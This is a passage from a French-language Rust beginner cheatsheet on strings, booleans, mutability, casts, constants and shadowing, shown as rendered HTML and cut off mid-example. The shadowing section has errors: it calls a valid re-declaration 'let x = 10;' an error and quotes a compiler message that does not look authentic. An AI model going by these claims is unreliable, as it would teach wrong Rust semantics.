<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="gestion-des-string">Gestion des string<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#gestion-des-string" class="hash-link" aria-label="Lien direct vers Gestion des string" title="Lien direct vers Gestion des string" translate="no">​</a></h3>
<p>La distinction est tout de même importante à faire, car faire :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> s1 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"This is a string"</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>Revient à définir ce qui s'appelle un <code>string slice</code> qui est de type <code>&amp;str</code>. C'est une chaîne immuable qui est stockée dasn le binaire compilé. Donc cette variable vit aussi longtemps que le programme (ou son scope) vit.
Pour le convertir en <code>String</code>, il faut manuellement <strong>allouer</strong> la mémoire dynamiquement pour stocker une copie modifiable de la chaîne initialement immuable :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">conversion d'un &amp;str vers un String</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> s1 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"This is a string"</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> s2</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token class-name">String</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> s1</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">to_string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>Ou le faire en une ligne :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> s1</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token class-name">String</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"Text"</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">to_string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="déclaration-de-string">Déclaration de String<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#d%C3%A9claration-de-string" class="hash-link" aria-label="Lien direct vers Déclaration de String" title="Lien direct vers Déclaration de String" translate="no">​</a></h4>
<p>Il y a d'autres méthodes pour directement déclarer une variable de type <code>String</code> :</p>
<ol>
<li class="">avec <code>String::new();</code> :</li>
</ol>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> s </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token class-name">String</span><span class="token punctuation" style="color:#393A34">::</span><span class="token function" style="color:#d73a49">new</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">  </span><span class="token comment" style="color:#999988;font-style:italic">// Capacité = 0</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">s</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">push_str</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Hello"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">        </span><span class="token comment" style="color:#999988;font-style:italic">// Alloue automatiquement si nécessaire</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">s</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">push</span><span class="token punctuation" style="color:#393A34">(</span><span class="token char">'!'</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">                </span><span class="token comment" style="color:#999988;font-style:italic">// Ajoute un caractère Unicode</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> s</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">          </span><span class="token comment" style="color:#999988;font-style:italic">// "Hello!"</span><br></div></code></pre></div></div>
<ol start="2">
<li class="">Avec <code>String::with_capacity(n)</code> pour déclarer manuellement la taille alloué au String :</li>
</ol>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">// Préalocation pour éviter les réallocations</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> s </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token class-name">String</span><span class="token punctuation" style="color:#393A34">::</span><span class="token function" style="color:#d73a49">with_capacity</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">20</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">s</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">push_str</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Rust est génial"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Capacité: {}, Longueur: {}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> s</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">capacity</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> s</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">len</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">  </span><span class="token comment" style="color:#999988;font-style:italic">// 20, 15</span><br></div></code></pre></div></div>
<ol start="3">
<li class="">pour la blague, directement depuis des octets :</li>
</ol>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> bytes </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token macro property" style="color:#36acaa">vec!</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">72</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">101</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">108</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">108</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">111</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">  </span><span class="token comment" style="color:#999988;font-style:italic">// "Hello" en ASCII</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> s </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token class-name">String</span><span class="token punctuation" style="color:#393A34">::</span><span class="token function" style="color:#d73a49">from_utf8</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">bytes</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">unwrap</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">  </span><span class="token comment" style="color:#999988;font-style:italic">// "Hello"</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-booleens">Les booleens<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#les-booleens" class="hash-link" aria-label="Lien direct vers Les booleens" title="Lien direct vers Les booleens" translate="no">​</a></h3>
<p>ça ne change pas de ce que l'on a l'habitude de voir. Ces variables ne peuvent être que dans deux états : <code>false</code> ou <code>true</code>.</p>
<p>Elles se déclarent de cette manière :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">déclaration de booleens</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> variable_true</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">bool</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">true</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> variable_false</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">bool</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">false</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-variables-mutable">Les variables mutable<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#les-variables-mutable" class="hash-link" aria-label="Lien direct vers Les variables mutable" title="Lien direct vers Les variables mutable" translate="no">​</a></h3>
<p>Comme on a vu, par défaut en rust, toutes les variables sont immuables, elles ne peuvent pas se voir attribuer une autre valeur. Sauf si on spécifie manuellement que la variable est mutable :</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">déclaration de variable mutable</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> x </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// x est immuable</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> y </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// y est mutable</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="conversion-de-type">Conversion de type<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#conversion-de-type" class="hash-link" aria-label="Lien direct vers Conversion de type" title="Lien direct vers Conversion de type" translate="no">​</a></h3>
<p>En Rust, il n'existe <strong>pas</strong> de conversion implicite entre types numériques, contrairement au C. Toute conversion doit être explicite à l'aide du mot-clé <code>as</code>.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Conversion explicite avec as</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> entier</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> flottant</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">f64</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> entier </span><span class="token keyword" style="color:#00009f">as</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">f64</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> prix</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">f32</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">45.95</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> prix_arrondi</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> prix </span><span class="token keyword" style="color:#00009f">as</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// 45 (troncature)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> lettre</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token char">'A'</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> valeur_ascii</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">u32</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> lettre </span><span class="token keyword" style="color:#00009f">as</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">u32</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// 65</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>Attention aux pertes</div><div class="admonitionContent_BuS1"><p>La conversion <code>as</code> peut tronquer ou faire perdre de l'information sans avertissement (passage de <code>f64</code> à <code>i32</code>, dépassement de capacité…). Pour des conversions sûres, on préfère utiliser <code>From</code>, <code>Into</code> ou <code>TryFrom</code> que je détaillerai dans un article plus avancé.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-constantes">Les constantes<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#les-constantes" class="hash-link" aria-label="Lien direct vers Les constantes" title="Lien direct vers Les constantes" translate="no">​</a></h3>
<p>Les constantes diffèrent des variables immuables : leur type doit être annoté, elles peuvent être déclarées dans n'importe quel scope (y compris global), et leur valeur doit être connue à la compilation.</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Déclaration d'une constante</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">const</span><span class="token plain"> </span><span class="token constant" style="color:#36acaa">MAX_POINTS</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">u32</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">100_000</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>Convention</div><div class="admonitionContent_BuS1"><p>Par convention, les constantes sont écrites en <code>SCREAMING_SNAKE_CASE</code>. Et le <code>_</code> dans les nombres est purement esthétique : il aide à la lisibilité (comme un séparateur de milliers).</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-shadowing">Le shadowing<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#le-shadowing" class="hash-link" aria-label="Lien direct vers Le shadowing" title="Lien direct vers Le shadowing" translate="no">​</a></h3>
<p>Rust permet de "redéclarer" une variable avec le même nom. La précédente est alors masquée par la nouvelle. Cela permet, entre autres, de changer le type d'une variable.</p>
<p>On peut faire cela en définissant des variables au sein de leur propre "scope". En Rust, le scope est défini par les <code>{}</code>, une variable ne vit qu'entre ces accolades. Le shadowing permet en définissant un nouveau scope de modifier temporairement la variable initiale</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Shadowing</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">fn</span><span class="token plain"> </span><span class="token function-definition function" style="color:#d73a49">main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> x</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"x is: {x}"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">       </span><span class="token comment" style="color:#999988;font-style:italic">// Ici x vaut 5</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> x </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> x </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">           </span><span class="token comment" style="color:#999988;font-style:italic">// On déclare la même variable, mais cette fois-ci dans un autre scope</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"x is: {x}"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">   </span><span class="token comment" style="color:#999988;font-style:italic">// Ici x vaut 8</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token macro property" style="color:#36acaa">println!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"x is: {x}"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain">       </span><span class="token comment" style="color:#999988;font-style:italic">// Ici c vaut 5</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>Attention</div><div class="admonitionContent_BuS1"><p>Lorsque l'on déclare une variable masquée, on ne peut pas la déclarer avec les raccourcis tels que <code>+=</code>
Dans le code au dessus, si on déclarait le x masquée en faisant <code>let x += 3</code>, le compilateur donnerait une erreur :</p><div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">&gt; error: can't reassign to an uninitialized variable</span><br></div></code></pre></div></div></div></div>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>Différence avec mut</div><div class="admonitionContent_BuS1"><p>Le shadowing n'est pas équivalent à <code>mut</code>. Avec <code>mut</code>, on modifie la même variable (et on ne peut pas changer son type). Avec le shadowing, on en crée une nouvelle qui réutilise le même nom.</p></div></div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="lindépendance-des-variables-masquée">L'indépendance des variables masquée<a href="https://docs.bastienbonora.fr/blog/Rust-cheatsheet#lind%C3%A9pendance-des-variables-masqu%C3%A9e" class="hash-link" aria-label="Lien direct vers L'indépendance des variables masquée" title="Lien direct vers L'indépendance des variables masquée" translate="no">​</a></h4>
<p>Tout comme une variable conventionnelle, lorsque l'on déclare une variable masquée, on doit également définir son type et ses caractéristiques.</p>
<p>Cette variable masquée n'hérite pas des propriétés de mutation de sa variable mère. Il faut manuellement le repréciser</p>
<div class="language-rust codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-rust codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">mut</span><span class="token plain"> x</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> x</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">i32</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">15</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">let</span><span class="token plain"> x </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// Erreur, la variable masquée n'est pas mutable</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token macro property" style="color:#36acaa">print!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{x}"</span><span class="token punctuation" 